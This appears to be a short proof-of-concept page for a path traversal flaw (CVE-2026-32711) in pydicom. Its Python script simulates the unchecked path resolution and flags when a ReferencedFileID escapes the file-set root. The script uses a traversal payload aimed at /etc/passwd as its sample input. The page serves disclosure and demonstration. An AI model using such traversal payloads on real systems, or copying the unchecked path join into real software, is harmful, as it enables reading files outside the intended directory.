CVE-2026-32711 pydicom路径遍历漏洞

import os # Proof of Concept for CVE-2026-32711 # Demonstrating the lack of path traversal validation def simulate_vulnerable_logic(file_set_root, referenced_file_id): """ Simulates the vulnerable logic in pydicom < 3.0.2. It resolves the path but fails to check if it stays within the root. """ # Resolve the absolute path based on the root and the provided ID # This mimics the vulnerable behavior where '../' is allowed resolved_path = os.path.abspath(os.path.join(file_set_root, referenced_file_id)) print(f"[*] File-set Root: {os.path.abspath(file_set_root)}") print(f"[*] ReferencedFileID: {referenced_file_id}") print(f"[*] Resolved Path: {resolved_path}") # Vulnerable check: only checks existence, not location relative to root if os.path.exists(resolved_path): print(f"[+] Path exists! Vulnerable operation (read/write) would proceed on: {resolved_path}") # Check if path escaped the root (The missing check) if not os.path.abspath(resolved_path).startswith(os.path.abspath(file_set_root)): print("[!!!] PATH TRAVERSAL DETECTED: Path is outside File-set root!") return resolved_path else: print("[-] Path does not exist.") return None if __name__ == "__main__": # Setup a fake root root_dir = "/tmp/dicom_files" # Malicious payload trying to escape the root malicious_payload = "../../../../../../etc/passwd" print("--- CVE-2026-32711 PoC Simulation ---") simulate_vulnerable_logic(root_dir, malicious_payload)